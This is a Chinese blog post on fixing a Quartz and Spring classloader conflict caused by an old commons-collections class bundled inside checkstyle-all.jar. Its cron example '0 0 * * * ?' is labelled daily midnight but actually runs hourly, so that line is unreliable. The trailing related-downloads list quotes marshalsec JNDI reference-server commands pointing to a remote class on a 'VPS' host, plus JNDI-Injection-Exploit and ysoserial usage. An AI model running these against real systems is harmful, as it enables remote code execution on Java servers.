假设你是一个J2EE程序员,你正在使用struts2+spring2+hibernate3的时尚标准组合来开发一个项目。某天,你的项目经理告诉你,当前项目需要开发一个新功能,需要系统来定时来执行一段代码,比如每天大半夜定时进行前一天的数据统计并且插入数据库。如果你部署的系统是Linux并且你熟悉crontab而且你打算那么麻烦地去干,我当然没话可说。否则在你google和baidu了一会儿之后,你必然会想到可以使用著名的quartz来和spring集成起来做这件事。
比如,先把需要干的活儿写在一个类的一个方法里面:
public class ScheduleWorker {
public void doDailyWork() {
System.out.println("今日统计完毕!");
}
}
然后,配置spring的applicationContext.xml如下:
<bean name="scheduleWorker" class="test.ScheduleWorker">
</bean>
<bean id="jobDetail" class="org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean">
<property name="targetObject" ref="scheduleWorker" />
<property name="targetMethod" value="doDailyWork" />
<property name="concurrent" value="false" />
</bean>
<bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean">
<property name="jobDetail" ref="jobDetail" />
<!-- 每天零点 -->
<property name="cronExpression">
<value>0 0 * * * ?</value>
</property>
</bean>
<bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean" autowire="no">
<property name="triggers">
<list>
<ref bean="cronTrigger" />
</list>
</property>
</bean>
然后编译上传(别忘了上传更新的applicationContext.xml还有quartz.jar,一般都在spring解开的包的lib/quartz目录下面)。你重新启动你的tomcat(也可能是resin或者其他什么东西),然后,不出意外地,发现如下错误:
ERROR [org.springframework.web.context.ContextLoader] - Context initialization failed
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'jobDetail' defined in ServletContext resourc
e [/WEB-INF/classes/applicationContext-service.xml]: Invocation of init method failed; nested exception is java.lang.NoSuchMethodErr
or: org.apache.commons.collections.SetUtils.orderedSet(Ljava/util/Set;)Ljava/util/Set;
如果你经验比较丰富,你会去找你部署的服务器的WEB-INF/lib下面是不是存在commons-collections的jar包,然后你很惊奇地发现它的确在那里,你会很困惑。
如果你经验十分丰富,你知道了commons-collections.jar的确存在于classpath里面,你知道引起NoSuchMethodErr的原因很可能是部署服务器上的commons-collections.jar的版本过低,在quartz调用的时候不存在而导致的,于是你会去检查WEB-INF/lib下面的commons-collections.jar的版本,然后你还是会很惊奇地发现它的版本是3.2,并且在这个jar包里面的确存在org.apache.commons.collections.SetUtils这个类,并且方法orderedSet也存在,你还是会很困惑。
如果你经验非常丰富,你知道了引起上面这种情况的原因是系统的classloader先加载了其他地方低版本的commons-collections里面的org.apache.commons.collections.SetUtils类,导致WEB-INF/lib下面的commons-collections.jar里面的同名类没有被加载所导致的。于是你就到处去找另外的commons-collections.jar,在WEB-INF/lib你可能会找到一个,包括common/lib等等地方,如果你是jdk6,你还有可能在jdk的ext目录下找到。删掉老版本的commons-collections.jar,重启tomcat,发现问题依旧,你继续找。但是皇天不负有心人,你啥都没找到,整个jdk和整个tomcat下面,你整个搜索了一番,只有这么一个commons-collections.jar。你依然会很困惑。
不卖关子了。解决问题的办法:删除WEB-INF/lib/checkstyle-all.jar,重新启动tomcat,问题解决。
在hibernate3的lib目录下,存在commons-collections-2.1.1.jar和checkstyle-all.jar,一般我们都是直接上传到WEB-INF/lib,前者不必说,版本太老而被classloader先加载了,按说删了问题应该解决了,但是为什么必须删掉checkstyle-all.jar问题才能正式解决呢。拿WinRAR打开checkstyle-all.jar一看你就知道了,里面赫然有org.apache.commons.collections.SetUtils这个类,并且,它是老版本的!
这也太可恶了,明明叫checkstyle-all.jar,里面为啥还包含commons-collections的东西……而且还是老调牙的版本。另外,如果你觉得checkstyle-all.jar或许还有点什么用处,可以用WinRAR解开之后把commons-collections的包和类去掉,然后重新打包上传。
其实问题的根源在于:hibernate3使用老版本(2.1.1)的commons-collections及包含它的checkstyle-all.jar,而spring2.5使用新版本(3.2)的commons-collections以及需要3.2版本commons-collections的quartz。
分享到:
相关推荐
checkstyle-all.jar checkstyle-all.jar
checkstyle-8.29-all.jar 文件。网上下载超慢的,所以上传到这里下载。需要的赶紧下载吧
CheckStyle是SourceForge下的一个项目,提供了一个帮助JAVA开发人员遵守某些编码规范的工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ...
代码检测工具(侧重于代码的风格检测,如缩进、空行、花括号的匹配等等) 下载地址:https://github.com/checkstyle/checkstyle/releases/
在实际开发中,开发者通常只需要引用api.jar进行编程,而impl.jar则在运行时提供具体的实现细节,执行用户界面的渲染和事件处理等功能。 4. **jstl-1.2.jar**:JSTL(JavaServer Pages Standard Tag Library)是一...
在这个场景中,我们关注的三个jar包——`pdfbox-1.7.1.jar`、`fontbox-1.7.0.jar`和`checkstyle-all.jar`——在处理PDF文件时扮演着关键角色。 1. **PDFBox-1.7.1.jar**: 这是主PDFBox库的版本1.7.1,包含了处理PDF...
checkstyle-8.26-all.jar在github下载超慢,所以点这里下载吧
checkstyle jar包 下载
JSF开发所必需包:花了很长时间才收集好,很费时,现已收集好,何不分享给大家,让大家节省时间做点有意义的事情呢?呵呵。。。已在附件供大家下载,若是你所需要的东西,那就请投个票、说句鼓励的话,...standard.jar
这里提到的`tomcat-juli.jar`、`tomcat-juli-adapters.jar`和`log4j-1.2.12.jar`是与Tomcat日志输出密切相关的组件。 1. **tomcat-juli.jar**: Tomcat JULI(Java Util Logging Implementation)是Tomcat自定义的...
apoc-4.0.0.11-all.jar
(2)相比json-lib框架,Jackson所依赖的jar包较少,只需下载:jackson-all-1.6.*.jar ~ jackson-all-1.8.0.jar 任何一个。 (3)转换效率:jackson > Gson > JSON-lib (4)简单易用并且性能也要相对高些。 (5)Jackson社区...
Neo4j插件apoc-4.2.0.6-all.jar
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/...
这里提到的三个JAR文件——`commons-beanutils.jar`、`commons-collections-3.1.jar`和`commons-pool-1.2.jar`,都是Apache Commons项目的一部分,分别涉及Bean操作、集合操作和对象池化。 **1. `commons-beanutils...
Neo4j插件apoc-4.4.0.10-all.jar
asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-5.2.jar asm-all-...
ysoserial-0.0.6-SNAPSHOT-all.jar